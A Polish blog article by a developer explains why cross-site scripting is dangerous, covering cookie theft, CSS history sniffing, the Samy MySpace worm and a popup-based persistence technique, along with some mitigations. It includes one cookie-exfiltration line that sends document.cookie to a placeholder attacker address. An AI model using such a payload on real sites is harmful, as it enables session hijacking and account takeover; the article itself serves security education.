Cross Site Scripting (XSS) jest najbardziej znaną luką bezpieczeństwa. Nie ma chyba osoby, która zetknęłaby się z tematem bezpieczeństwa aplikacji internetowych i nie słyszałaby o tej podatności. Nie ma się co dziwić, od paru lat stanowi główne zagrożenie i w wielu zestawieniach podatności zajmuje czołowe miejsca. Wystarczy wspomnieć tutaj o OWASP Top 10 2007 lub 2009 CWE/SANS Top 25 Most Dangerous Programming Errors. Jeden błąd bezpieczeństwa może skompromitować całą aplikację więc warto się trochę nad tematem zastanowić.

Spotkaliście się kiedyś z pytaniem „Co z tego, że wyświetli się komuś tekst na ekranie?”
Zastanawiasz się skąd się ta podatność bierze ?
Zastanawiasz się jakie skutki może nieść za sobą XSS ?

Może wiesz już to wszystko, a tylko chcesz poczytać sobie o kradzieży sesji, wydobywaniu historii przeglądanych stron,  przykładzie robaka opartego na XSS czy możliwości przejścia ze skryptem na inne podstrony nie posiadające luk w zabezpieczeniach ?

O samej zasadzie działania XSS nie będę się rozpisywał bo nie o to tutaj chodzi. Nie będę mówić także o sposobach na wyszukiwanie podatności tego typu ani o sposobach łamania zabezpieczeń. Postaram się przybliżyć za to możliwości wykorzystania samej podatności.

Wracając do pytania „Co z tego, że przez XSS wyświetli się komuś tekst na ekranie ?”
– Racja jeśli ograniczymy się tylko do tekstu. Wy byście się ograniczyli ?
lub opiniami w stylu :

„Nie ma możliwości przejęcia kontroli nad naszą aplikacją poprzez XSS”,
– Niestety bzdura. Znacie stwierdzenie : „Jeśli pozwolisz komuś na uruchomienie programu na Twoim komputerze to nie jest to już Twój komputer”. Parafrazując to stwierdzenie można powiedzieć, że jeśli pozwolisz na uruchamianie skryptów na swojej stronie to nie będzie to już Twoja strona. Jak się przekonacie niestety jest w tym sporo prawdy.

„Część serwisu podatna na XSS nie znajduje się w strefie, która wymaga autoryzacji więc nie da się przejąć ciastek autoryzacyjnych”
– Nawet byłaby to prawda gdyby nie fakt, że zawsze można użytkownika „przekonać” do zalogowania lub poczekać „przechodząc” razem z nim do strefy, która już logowania wymaga, ale o tym za chwilę.

„W tym przypadku trzeba by było przesłać formę POSTEM więc nie podstawisz użytkownikowi zwykłego linka.”
– Zawsze mogę podstawić link do skryptu, który następnie zapostuje we wskazane miejsce, a użytkownik może nawet tego nie zauważy. Fajne ?

Być może te opinie wypowiadane były nawet przez osoby, które powinny mieć jakieś pojęcie o temacie ? Nie potrafię nawet powiedzieć ile razy to słyszałem. Złośliwi w tym miejscu pewnie powiedzą, że to dlatego bo nawet gubię się licząc do pięciu, ale w tym przypadku jednak prawda jest trochę inna. Niestety wciąż takie podejście do tematu jest bardzo popularne. Problem jest bagatelizowany, a naprawa podatności ze względu na fałszywe poczucie niskiej szkodliwości odsuwana w czasie. Ciężkim zadaniem staje się wyjaśnienie w niektórych przypadkach (niektórym osobom) czego można dokonać wykorzystując znalezioną lukę w bezpieczeństwie.

Skąd się to wszystko bierze ?

Czasami z błędnej walidacji zmiennych pochodzących od użytkownika, ale głównie z braku jakiejkolwiek walidacji. Zadziwiające może wydawać się to jak wiele elementów można wykorzystać do skutecznego przeprowadzenia ataku:
Standardem jest wstawienie tagów HTML, JS, CSS. Do ataku można też użyć SVG, JSON, XML, XPATH, XBL, XUL. Pamiętacie jeszcze „Wyspy danych” (Data Islands) ? To tylko początek listy, ale to już zupełnie odrębny temat, który zostawimy sobie może na inną okazję.

Znalazłem lukę i co dalej ?

Warto uświadomić sobie w tym miejscu, że odnalezienie podatności XSS nie jest celem samym w sobie. Stanowi narzędzie, które stwarza możliwość realizacji zamierzonego celu. W jaki sposób można zatem lukę wykorzystać ?

Kradzież sesji

Ataki XSS najczęściej utożsamia się z możliwością kradzieży ciastek autoryzacyjnych. Co następnie jeśli nie istnieją dodatkowe zabezpieczenia umożliwia przejęcie sesji, kontroli nad kontem lub podejrzenie danych osobowych jeśli takie znajdują się w serwisie. W tym przypadku zasada działania jest bardzo prosta. Niestety funkcjonuje tutaj popularny przykład obrazujący wykorzystanie podatności, który bardzo niekorzystnie wpływa na postrzeganie faktycznego zagrożenia istnieniem luki. Mam tutaj na myśli zwykły :

alert(document.cookie);

Co z tego, że użytkownik obejrzy swoje własne ciastka ? W większości przypadków nic, zupełnie nic. Wystarczy jednak, że atakujący przekaże sobie ciastka użytkownika w inny sposób, a zagrożenie zmienia się diametralnie.

dokument.write('<img src="http://(adres)/?cookie=' + escape(document.cookie) + '">');

Można spotkać się z mechanizmami zabezpieczającymi, które mają za zadanie ochraniać sesję uniemożliwiając wykorzystanie ciastek sesyjnych nawet po ich kradzieży. Chciałbym tutaj opisać niezawodną metodę… Niestety z żalem muszę stwierdzić, że taka nie istnieje. Możemy próbować wykorzystać do tego celu sprawdzanie adresu IP zapisanego wcześniej w sesji i porównanie go z tym z którego nawiązano obecne połączenie. Na podobnej zasadzie można sprawdzać nagłówki identyfikujące przeglądarkę. Niestety nie są to metody pewne, a okoliczności w których takie zabezpieczenie obróci się przeciw prawowitemu właścicielowi sesji można mnożyć. Dlatego właśnie jestem zwolennikiem dodatkowego zabezpieczenia danych osobowych lub kluczowych funkcji dodatkowym poziomem autoryzacji. Myślę, że na takie ustępstwo w celu podwyższenia poziomu bezpieczeństwa użytkownicy chętnie się zgodzą.  Nie jest to oczywiście jedyny możliwy typ ataku jaki można przeprowadzić wykorzystując Cross Site Scripting. Po znalezieniu luki sposób jej wykorzystania uzależniony jest już wyłącznie od fantazji atakującego, a fantazji niektórym nie brakuje.

Bez paniki

Informacja jak zapewne wszystkim wiadomo ma ogromną wartość. Informacja na temat zainteresowań osób odwiedzających witrynę zapewne dla wielu byłaby łakomym kąskiem. Przynajmniej teoretycznie zainteresowania przekładają się na listę odwiedzanych stron. Tutaj pojawił się pomysł wykorzystania tej zależności.

Strona o wymownym adresie startpanic.com prezentuje ciekawy atak na historię odwiedzonych stron. Sam pomysł nie jest nowy (zwrócono na niego uwagę już w 2006 roku.  Przynajmniej taki najstarszy wpis udało mi się znaleźć), natomiast w ciekawy sposób zaprezentowane zostały możliwości ataku. Każdy może sam spróbować, ale ostrzegam wizyta tam może skłonić Cię do usunięcia całej historii przeglądanych stron oraz pozostawić trwały uraz psychiczny wynikający z obdarcia Cię z resztek złudzeń posiadania jakiejkolwiek prywatności w Internecie. Dobrze z tym ostatnim trochę przesadziłem, zresztą zobaczcie i oceńcie sami
http://startpanic.com
.

Przeglądarki posiadają obiekt history, który (w pewnym uproszczeniu) przechowuje wszelkie informacje o odwiedzonych stronach. Na pierwszy rzut oka mogłoby się wydawać, że wyświetlane są adresy strony wydobyte właśnie z tego obiektu. Nie jest to jednak do końca prawdziwe stwierdzenie. Przeglądarki mają zabezpieczony dostęp do obiektu history więc nie można tego zrobić bezpośrednio. W tym przypadku zastosowano bardziej finezyjne rozwiązanie. Z pomocą przyszedł… CSS i możliwość w odpowiedni sposób wystylizowania linków odwiedzonych a:visited. Startpanic.com wykorzystuje bazę stu tysięcy domen. Dla każdej z nich buduje link i sprawdza czy strona wywoła chęć zaznaczenia linku jako odwiedzonego. Co prawda w przykładzie wykorzystano JavaScript natomiast taki sam efekt można osiągnąć nie używając tej technologii. Po raz kolejny wyświetlenie takich informacji na ekranie nie stanowi większego zagrożenia, ale nic nie powstrzymuje osoby, która taki atak chciałaby przeprowadzić przed przesłaniem takich informacji do siebie.

Jak już jesteśmy w temacie warto wspomnieć, że w przeglądarce Mozilla Firefox w łatwy sposób możemy zabezpieczyć się przed atakiem tego typu. Należy w tym celu zmienić w konfiguracji (about:config) dyrektywę layout.css.visited_links_enabled na false. Swoją drogą ciekawe kiedy ta dyrektywa będzie defaultowo ustawiona na taką wartość.

„Samy is my Hero”

Dobrą szkołę wszystkim niedowiarkom w powagę podatności XSS dał Twórca robaka „Samy” znanego także pod nazwą „JS.Spacehero”.Wspominam o tym przypadku ponieważ jeśli nawet nie jest to pierwszy, to już na pewno jest to najpopularniejszy ze względu na skalę przykład wykorzystania robaka opartego na JavaScript samo rozprzestrzeniającego się poprzez „Stored XSS”. Jak sam autor skryptu napisał liczba ponad miliona zarażonych kont, co stanowiło 1/35 wszystkich użytkowników myspace, została osiągnięta w mniej niż 20 godzin.

Autor skryptu wykorzystał lukę w zabezpieczeniach i znalazł sposób na umieszczenie skryptu na stronie swojego profilu w tym serwisie. Od tej pory każdy, kto odwiedził jego stronę wykonywał osadzoną w skrypcie instrukcję. Początkowo instrukcja dodawała jego profil do przyjaciół, oczywiście bez zgody właściciela konta, jednak później robak został zmodyfikowany i osadzał się również na zaatakowanym koncie. Teraz każdy kto odwiedził jego profil lub jakikolwiek inny zainfekowany zostawał również zainfekowany. Machina ruszyła i w szybkim tempie robakiem „Samy” zainfekowanych zostało już wcześniej wspomniane ponad milion kont.

Wyjaśnienie zasady działania oraz pełny kod skryptu można znaleźć na stronie autora poświęconej robakowi „Samy”

„Casper” – przyjazny duszek ?

„Casper” w taki pieszczotliwy sposób nazwany został skrypt, który jednak przyjaznym duszkiem nie ma wiele wspólnego.
Jeśli uważasz, że podatność XSS ma wpływ tylko na stronę, na której się znajduje to jesteś w błędzie. Bardzo ciekawy przykład wykorzystania luki XSS przedstawił Mario Heiderich na konferencji Confidence 2009.
Materiały z konferencji, a wśród nich prezentacja wraz z przykładem o którym mówię, dostępne są pod adresem :
http://2009.confidence.org.pl/materials2009
.

Skrypt atakuje wszystkie linki, które znajdują się na zaatakowanej stronie zmieniając ich standardowe zachowanie.

Wykonanie funkcji ghostinit(), którą możecie już znaleźć w materiałach z konferencji ma za zadanie otworzyć okienko popup i tymczasowo przekazać tam treść skryptu. Całość wykonywana jest jako trigger window.onload. Popup utrzymuje handler do okna, które je otworzyło, więc po przeładowaniu strony, a w zasadzie po pewnym czasie zdefiniowanym w skrypcie (to można by było dopracować) zadziała kolejny mechanizm, który korzystając z handlera już dla nowej strony zmieni zachowanie wszystkich linków. W tym miejscu oczywiście pojawia się miejsce na dodatkowe akcje, które miałyby się wykonać na stronie. Znowu atakujący ograniczony jest tylko i wyłącznie swoją fantazją. Popup spełnił swoje zadanie zainfekował kolejną otwarta stronę i nie jest już potrzebny, aż do kolejnego przejścia. Zostaje zamknięty. Wszystkie przejścia muszą się jednak odbywać w ramach tej samej domeny. Jest to ograniczenie wynikające z polityki bezpieczeństwa implementowanej w przeglądarkach.

Dzięki temu mechanizmowi atakujący nie musi się ograniczać do tego co może zrobić w części serwisu, na której występują błędy XSS może spokojnie poczekać, aż użytkownik przejdzie do strefy wymagającej autoryzacji lub wykona jakąkolwiek inną „interesującą” akcję. Skrypt działa w tle, a użytkownik może nawet nie zauważyć pojawiającego się na dosłownie chwilkę okienka. Co jeśli nawet zauważy ? Niewiele z potencjalnych ofiar będzie zdawało sobie sprawę z rzeczywistego zagrożenia.

Screen pochodzi ze wspomnianej prezentacji.

Podsumowanie

Wiemy już, że XSS pozwala na modyfikację zachowania strony, pozwala zmieniać wygląd, funkcję lub wartość jej dowolnego elementu, a także symulować zwykłą aktywność użytkownika. Przedstawiona została tylko krótka lista możliwości wykorzystania podatności XSS, która na pewno nie wyczerpuje tematu. The Web Application Hacker’s Handbook opisuje jeszcze kilka innych sposobów, między innymi: przechwytywanie zawartości schowka, keylogger, wykorzystanie relacji zaufania, skanowanie portów sieci lokalnej. Rzeczywistych zagrożeń jest oczywiście znacznie więcej. Mam jednak nadzieję, że nawet ta krótka lista rozwieje wszelkie wątpliwości i obali mity znikomej szkodliwości Cross Site Scripting.

Spotkaliście się z jeszcze innymi ciekawymi sposobami wykorzystania XSS? Zapraszam do opisania swoich doświadczeń w komentarzu.

Piotr Rydzewski
starszy programista